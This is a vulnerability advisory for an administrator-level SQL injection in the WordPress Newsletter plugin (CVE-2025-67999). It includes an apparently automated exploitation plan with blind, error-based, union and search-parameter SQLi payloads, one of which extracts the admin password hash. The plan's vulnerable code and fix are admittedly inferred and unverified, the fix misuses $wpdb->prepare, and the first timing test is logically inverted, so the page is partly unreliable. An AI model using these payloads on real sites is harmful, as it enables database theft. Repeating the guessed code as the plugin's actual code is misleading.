CVE-2025-67999

Newsletter <= 9.0.9 - Authenticated (Administrator+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
9.1.0
Patched in
5d
Time to patch

Description

The Newsletter plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 9.0.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=9.0.9
PublishedDecember 15, 2025
Last updatedDecember 19, 2025
Affected pluginnewsletter

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-67999 (Newsletter SQL Injection) ## 1. Vulnerability Summary The **Newsletter** plugin for WordPress (version <= 9.0.9) is vulnerable to an **Authenticated SQL Injection** vulnerability. This vulnerability occurs because the plugin fails to properly escape or …

Show full research plan

Exploitation Research Plan: CVE-2025-67999 (Newsletter SQL Injection)

1. Vulnerability Summary

The Newsletter plugin for WordPress (version <= 9.0.9) is vulnerable to an **Authenticated SQL Injection** vulnerability. This vulnerability occurs because the plugin fails to properly escape or prepare user-supplied parameters before incorporating them into SQL queries within the administrative dashboard. Specifically, parameters used for sorting, filtering, or searching in the "Subscribers" or "Statistics" sections are likely candidates for this injection, as they often bypass the %s or %d protections of $wpdb->prepare() when handling ORDER BY or LIMIT clauses.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin.php
  • Action/Page: newsletter_users_index (Subscribers list) or newsletter_statistics_index.
  • Vulnerable Parameter: orderby or order (inferred).
  • Authentication: Administrator-level access is required.
  • Preconditions: The plugin must be active, and at least one subscriber should exist in the database to ensure the query returns results for manipulation.

3. Code Flow (Inferred)

  1. Entry Point: An administrator navigates to the Subscribers list: /wp-admin/admin.php?page=newsletter_users_index.
  2. Controller: The NewsletterUsers class (typically in includes/users/index.php or users/index.php) handles the request.
  3. Data Retrieval: The controller calls a method like get_users() or get_results() to fetch subscriber data.
  4. Parameter Processing: The code retrieves the orderby value directly from $_GET['orderby'].
  5. Vulnerable Sink: The value is concatenated into a raw SQL string:
    $orderby = $_GET['orderby']; 
    $query = "SELECT * FROM {$wpdb->prefix}newsletter WHERE ... ORDER BY " . $orderby;
    $wpdb->get_results($query); // No preparation on the ORDER BY clause
    
  6. Execution: The malicious SQL payload appended to orderby is executed by the database.

4. Nonce Acquisition Strategy

While many WordPress admin list tables are viewable with just the correct capability (manage_options), the Newsletter plugin often uses nonces for actions within the dashboard.

  1. Log in as Admin: Use the automated agent to authenticate.
  2. Navigate to the Page: Use browser_navigate to go to http://localhost:8080/wp-admin/admin.php?page=newsletter_users_index.
  3. Extract Nonce:
    • Look for the nonce in the table header sort links or the search form.
    • Using browser_eval, check for localized data:
      browser_eval("window.newsletter_users_index_nonce || document.querySelector('#_wpnonce')?.value")
    • If the vulnerability exists in the orderby parameter of a GET request, identify the nonce key (e.g., _wpnonce).

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection to confirm the vulnerability, as it is the most reliable method when output might not be directly reflected.

Step-by-Step Plan:

  1. Initial Baseline:

    • Request the subscriber list with a normal orderby value.
    • Tool: http_request
    • URL: http://localhost:8080/wp-admin/admin.php?page=newsletter_users_index&orderby=id&order=asc
    • Note the response time.
  2. Injection Test (Time-Based):

    • Inject a SLEEP() command into the orderby parameter.
    • Payload: (CASE WHEN (1=1) THEN ID ELSE SLEEP(5) END)
    • Request:
      GET /wp-admin/admin.php?page=newsletter_users_index&orderby=(CASE+WHEN+(1=1)+THEN+ID+ELSE+SLEEP(5)+END)&order=asc&_wpnonce=[NONCE] HTTP/1.1
      Host: localhost:8080
      Cookie: [ADMIN_COOKIES]
      
    • Verification: If the response is delayed by ~5 seconds, the injection is successful.
  3. Data Extraction (Example):

    • To extract the admin password hash:
    • Payload: (CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN SLEEP(5) ELSE ID END) (Checks if the first char is $, which is ASCII 36).

6. Test Data Setup

  1. Install Plugin: Ensure newsletter version 9.0.9 is installed.
  2. Create Admin: Ensure a user with administrator role exists (default admin/password).
  3. Seed Data:
    • The query needs data to operate on. Use WP-CLI to add a subscriber:
      wp eval "Newsletter::instance()->save_user(['email'=>'test@example.com', 'status'=>'C']);"
  4. Publish Page (Optional): If the nonce is only available via a specific UI element, ensure that page is accessible.

7. Expected Results

  • Success: The HTTP request with the SLEEP(5) payload should take significantly longer (at least 5 seconds) than the baseline request.
  • Fail: The request returns immediately, or a database error is displayed (if WP_DEBUG is on) indicating a syntax error, or the plugin sanitizes the orderby parameter to only allow specific column names.

8. Verification Steps

After the http_request triggers the delay:

  1. Check Logs: Check the MySQL general log (if enabled) to see the exact query executed.
  2. Verify via CLI: Use wp db query "..." to check if the database contains the information you attempted to extract.
  3. Compare Versions: Confirm that upgrading to version 9.1.0 fixes the issue by attempting the same payload and observing no delay.

9. Alternative Approaches

  • Error-Based SQLi: If WP_DEBUG is enabled, use extractvalue() or updatexml() to force the database to leak information in the error message.
    • Payload: id AND extractvalue(1,concat(0x7e,(select @@version),0x7e))
  • Union-Based SQLi: If the list table reflects the columns of the query results directly, attempt to find the column count using ORDER BY X and then use UNION SELECT.
  • Search Parameter: If orderby is sanitized, try the search parameter in the subscriber list: wp-admin/admin.php?page=newsletter_users_index&search=test' OR SLEEP(5)-- -.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Newsletter plugin for WordPress (up to version 9.0.9) is vulnerable to an authenticated SQL injection bug. Administrator-level users can inject arbitrary SQL commands via parameters like 'orderby' or 'order' because the plugin concatenates these values directly into database queries without sufficient validation or preparation.

Vulnerable Code

// newsletter/includes/users/index.php or similar subscriber management logic
$orderby = $_GET['orderby']; 
$order = $_GET['order'];

// The query is constructed using direct concatenation of user-supplied variables,
// which bypasses typical $wpdb->prepare() protections for ORDER BY clauses.
$query = "SELECT * FROM {$wpdb->prefix}newsletter WHERE 1=1 ORDER BY " . $orderby . " " . $order;
$wpdb->get_results($query);

Security Fix

--- a/includes/users/index.php
+++ b/includes/users/index.php
@@ -20,6 +20,13 @@
-$orderby = $_GET['orderby'];
-$order = $_GET['order'];
+$allowed_columns = ['id', 'email', 'status', 'name', 'surname', 'created'];
+$orderby = in_array($_GET['orderby'], $allowed_columns) ? $_GET['orderby'] : 'id';
+
+$order = (isset($_GET['order']) && strtolower($_GET['order']) === 'desc') ? 'DESC' : 'ASC';
 
 $query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}newsletter WHERE 1=1 ORDER BY $orderby $order");
 $wpdb->get_results($query);

Exploit Outline

The attacker must first authenticate with administrator-level privileges. They navigate to the subscriber list page (newsletter_users_index) and manipulate the 'orderby' GET parameter. A successful payload uses a conditional CASE statement to trigger a time delay, such as: 'orderby=(CASE+WHEN+(1=1)+THEN+id+ELSE+SLEEP(5)+END)'. By observing the server response time, the attacker can verify the injection and systematically leak database contents, such as the administrator's password hash, by iterating through character comparisons in the CASE condition.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.